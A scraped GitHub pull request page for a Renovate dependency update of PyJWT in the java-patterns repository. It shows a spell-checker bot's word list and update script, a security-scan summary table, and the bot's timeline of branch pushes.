helaili henrik heredoc heroku highlighter hilighting Hoizey hostman hostname htaccess htm htmlproofer httpd httpdocs hyperlinks Iaa ial ico icomoon iconset ified iframe Impl Inlining invokables irc ivey ize jalali jameshamann jamstackthemes jan Jax jayferd jcon jdoe jeffreytse jeffrydegrande Jekpack jekyllbot jekyllconf Jekyllers Jekyllin Jekylling jekyllized jekylllayoutconcept jekyllrb jekyllthemes jemoji jmcglone jneen johnreilly jpg jqr jruby jsonify juretta jwarby Kacper Kasberg kbd Kentico Kewin keycdn kickster Kinnula kiwifruit Kolesky konklone kontent Kotvinsky kramdown Kulig Kwokfu Lamprecht laquo lastmod launchctl launchy laurilehmijoki ldquo learnxinyminutes lexer LGTM libcurl libffi lightgray limjh linenos linkify linux liufengyun livereload localheinz localtime Locher loglevel Losslessly lovin lsi lsquo lstrip lyche macos macromates mademistakes Manmeet markdownify Maroli Marsceill maruku mathjax mathml mattr Maximiliano mchung mdash memberspace Memoize memoized memoizing mentoring mergable Mertcan mertkahyaoglu microdata mimetype mingw minibundle minifier minitest Mittal mixin mkasberg mkd mkdir mkdn mkdown mmistakes modernizr mojombo moncefbelyamani moz mreid msdn mswin MSYS mtime multiline munging Mvvm myblog mycontent mydata mydoc myimage mypage myposts myproject myrepo mysite myvalue myvar myvariable Nadjib nakanishi namespace namespaced navbar nbsp nearlyfreespeech nethack netlify netlifycms Neue nginx ngx nielsenramon nior noifniof nokogiri notextile onclick onebox oneclick onschedule openssl Optim orderofinterpretation orgs OSVDB osx packagecontrol pacman paginator pandoc pantulis params parkr parseable paspagon passthrough pathawks Pathutil paywall pdf Pelykh permalink PHP pinboard Piwigo pjhyett pkill pkpass placeholders planetjekyll plantuml plugin podcasts popen Porcel Posterous postfiles postlayout postmodern prefetching preinstalled prepends Prioritise Probot projectlist pubstorm pufuwozu pwa pwd pygments qrush Quaid rackup Rakefile razorops rbenv rdiscount rdoc rdquo realz rebund redcarpet redcloth redgreen refactor Refheap regen regex regexp remi reqs Responsify revertable rfc rfelix RHEL ridk roadmap rowspan rspec rsquo rstrip rsync rtomayko Rubo rubocop rubychan rubygem rubyinstaller rubyprof Ruparelia Rusiczki rvm ryanflorence saas samplelist samrayner sandboxed Sassc sassify schemastore Schroers Schwartzian scp scrollbar scroller scss scssify sdk SDKROOT sectore seo serverless setenv SFTP shingo shopify shortlog shoulda sieversii sigpipe simplecov Singhaniya siteleaf sitemap SITENAME Slicehost slugified slugify smartforms smartify snipcart somedir sonnym Sonomy sourced sourcemaps spam spotify ssg ssh SSL staticfiles staticman statictastic STDERR stdout Stickyposts strftime stringified Stringify stylesheet subdir subdomain subfolder subfolderitems subnav subpages subpath subpiece subsubfolderitems subthing subvalues subwidget sudo superdirectories superdirs SUSE sverrirs svn swfobject swupd symlink symlinking tablerow tada Taillandier talkyard tbody technicalpickles templating templatize Termux textilize textpattern thead therubyracer Theunissen Thornquest thoughtbot throughs Tidelift timeago timezone titleize TLS tmm tmp toc tok tomjoht toml tomo toolset toshimaru triaged triaging truncatewords tsv ttf Tudou Tumblr Tweetsert txtpen Tyborska tzinfo ubuntu uby ujh ultron undumpable unencode Unescape unescaping unicode uniq upcase uppercasing uri urlset username usr utf utils utime vanpelt Vasovi vendored vercel versioned vertycal Veyor vilcans Vishesh visualstudio vnd vohedge vps vscode vwochnik Walkthroughs wdm We'd webfont webhook webhosting webmentions webrick weekdate whitelist whitelisting wikipedia wildcards willcodeforfoo woff wordpress Workaround wsl xcode xcrun xdg Xhmikos xhtml Xiaoiver XMinutes xmlns xmlschema yajl Yarp Yashu Yastreb Youku youtube yunbox zeropadding Zlatan zlib zoneinfo zpinter Zsh zshrc zypper zzot
To accept these unrecognized words as correct (and remove the previously acknowledged and now absent words), run the following commands

... in a clone of the git@github.com:AlexRogalskiy/java-patterns.git repository
on the renovate/pypi-pyjwt-vulnerability branch:

update_files() {
perl -e '
my @expect_files=qw('".github/actions/spelling/expect.txt"');
@ARGV=@expect_files;
my @stale=qw('"$patch_remove"');
my $re=join "|", @stale;
my $suffix=".".time();
my $previous="";
sub maybe_unlink { unlink($_[0]) if $_[0]; }
while (<>) {
if ($ARGV ne $old_argv) { maybe_unlink($previous); $previous="$ARGV$suffix"; rename($ARGV, $previous); open(ARGV_OUT, ">$ARGV"); select(ARGV_OUT); $old_argv = $ARGV; }
next if /^(?:$re)(?:(?:\r|\n)*$| .*)/; print;
}; maybe_unlink($previous);'
perl -e '
my $new_expect_file=".github/actions/spelling/expect.txt";
use File::Path qw(make_path);
use File::Basename qw(dirname);
make_path (dirname($new_expect_file));
open FILE, q{<}, $new_expect_file; chomp(my @words = <FILE>); close FILE;
my @add=qw('"$patch_add"');
my %items; @items{@words} = @words x (1); @items{@add} = @add x (1);
@words = sort {lc($a)."-".$a cmp lc($b)."-".$b} keys %items;
open FILE, q{>}, $new_expect_file; for my $word (@words) { print FILE "$word\n" if $word =~ /\w/; };
close FILE;
system("git", "add", $new_expect_file);
'
}

comment_json=$(mktemp)
curl -L -s -S \
  --header "Content-Type: application/json" \
  "https://api.github.com/repos/AlexRogalskiy/java-patterns/issues/comments/4323750774" > "$comment_json"
comment_body=$(mktemp)
jq -r .body < "$comment_json" > $comment_body
rm $comment_json

patch_remove=$(perl -ne 'next unless s{^</summary>(.*)</details>$}{$1}; print' < "$comment_body")
  

patch_add=$(perl -e '$/=undef;
$_=<>;
s{<details>.*}{}s;
s{^#.*}{};
s{\n##.*}{};
s{(?:^|\n)\s*\*}{}g;
s{\s+}{ }g;
print' < "$comment_body")
  
update_files
rm $comment_body
git add -u
If you see a bunch of garbage

If it relates to a ...

well-formed pattern

See if there's a pattern that would match it.

If not, try writing one and adding it to the patterns.txt file.

Patterns are Perl 5 Regular Expressions - you can test yours before committing to verify it will match your lines.

Note that patterns can't match multiline strings.

binary-ish string

Please add a file path to the excludes.txt file instead of just accepting the garbage.

File paths are Perl 5 Regular Expressions - you can test yours before committing to verify it will match your files.

^ refers to the file's path from the root of the repository, so ^README\.md$ would exclude README.md (on whichever branch you're using).

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 8 5 0 ❌
Kotlin Security Audit 0 0 0 0 ✅
Kotlin Static Analysis 0 0 0 0 ✅
Security Audit for Infrastructure 14 92 8 32 ❌
Secrets Audit 0 4 0 0 ❌
Shell Script Analysis 0 0 0 195 ✅
Python Source Analyzer 0 0 0 0 ✅

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate renovate Bot changed the title ⬆️ Updates PyJWT to v2.12.0 [SECURITY] ⬆️ Updates PyJWT to v2.12.0 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate
renovate Bot deleted the renovate/pypi-pyjwt-vulnerability branch April 27, 2026 16:58
@github-actions github-actions Bot locked and limited conversation to collaborators Apr 27, 2026
@renovate renovate Bot changed the title ⬆️ Updates PyJWT to v2.12.0 [SECURITY] - autoclosed ⬆️ Updates PyJWT to v2.12.0 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 2 times, most recently from 9e5d1c5 to 805dbe6 Compare April 27, 2026 17:01
@github-actions github-actions Bot added the docs label Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from 73d00c8 to 6e6a77a Compare July 13, 2026 05:50
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from 6e6a77a to 200f011 Compare July 27, 2026 02:39
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 2 times, most recently from 49ae11c to 46aabd2 Compare August 10, 2026 00:43
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 6 times, most recently from ad128d0 to d2ff838 Compare August 17, 2026 01:00
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 8 times, most recently from b4b2958 to a89dc5a Compare August 24, 2026 02:06
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 6 times, most recently from 9e4819b to c1b1bc0 Compare August 31, 2026 02:37
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 5 times, most recently from 8e361ea to cbe9d89 Compare September 5, 2026 10:27
Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This branch has not been deployed

No deployments
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants